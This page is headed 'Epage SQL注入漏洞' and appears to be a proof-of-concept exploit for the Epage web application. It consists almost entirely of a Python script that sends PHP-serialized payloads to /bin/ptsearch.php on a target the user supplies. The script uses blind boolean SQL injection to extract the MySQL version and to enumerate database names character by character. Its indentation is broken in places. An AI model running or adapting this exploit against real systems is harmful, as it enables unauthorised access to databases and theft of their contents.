Epage SQL注入漏洞

POC

import requests
import time

print("Blind SQL injection in php Serialize POC")
url=input("Target url:")
url += "/bin/ptsearch.php?wc=a:3:{s:3:\"Key\";s:@:\"*\";s:8:\"pagesize\";s:2:\"10\";s:3:\"Rcg\";i:0;}"

print("start parsing")
print("")
print("MYSQL version:")
for i in range(1,10,2):
for k in range(0,10):
session = requests.Session()
closed_sql='\"and({inject})and\"%\"=\"'
inject_sql= closed_sql.format(inject="substring(version(),{i},1)=\"{k}\"")
inject_sql= inject_sql.format(i=i,k=k)
inject_url=url.replace("@",str(len(inject_sql)))
inject_url=inject_url.replace("*",inject_sql)
r = session.get(inject_url)
r.encoding = 'utf-8'

    if("未找到符合条件的资料" not in r.text):
        print(k,end=".")
print("version detect complete,take a break...........")
print()
print()
time.sleep(5)

print("parsing lenth of available database..............")
all_valid_database=0
for i in range(1,50):
session = requests.Session()
closed_sql='\"and({inject})and\"%\"=\"'
inject_sql= closed_sql.format(inject="(ascii(substring((select(group_concat(schema_name))from(information_schema.schemata)),{i},1)))>0")
inject_sql= inject_sql.format(i=i)
inject_url=url.replace("@",str(len(inject_sql)))
inject_url=inject_url.replace("*",inject_sql)
r = session.get(inject_url)
r.encoding = 'utf-8'
if("未找到符合条件的资料" in r.text):
all_valid_database = i
print(all_valid_database)
break

print("parsing finish,take a break")
time.sleep(3)

print("start parsing available database")
print("available database:")
for i in range(1,all_valid_database):
time.sleep(2)
for k in range(32,126):
session = requests.Session()
closed_sql='\"and({inject})and\"%\"=\"'
inject_sql= closed_sql.format(inject="(ascii(substring((select(group_concat(schema_name))from(information_schema.schemata)),{i},1)))>{k}")
inject_sql= inject_sql.format(i=i,k=k)
inject_url=url.replace("@",str(len(inject_sql)))
inject_url=inject_url.replace("*",inject_sql)
r = session.get(inject_url)
r.encoding = 'utf-8'

    if("未找到符合条件的资料" in r.text):
        if (k==44):
            print(chr(k),end="")
            print()
        else:
            print(chr(k),end="")
        break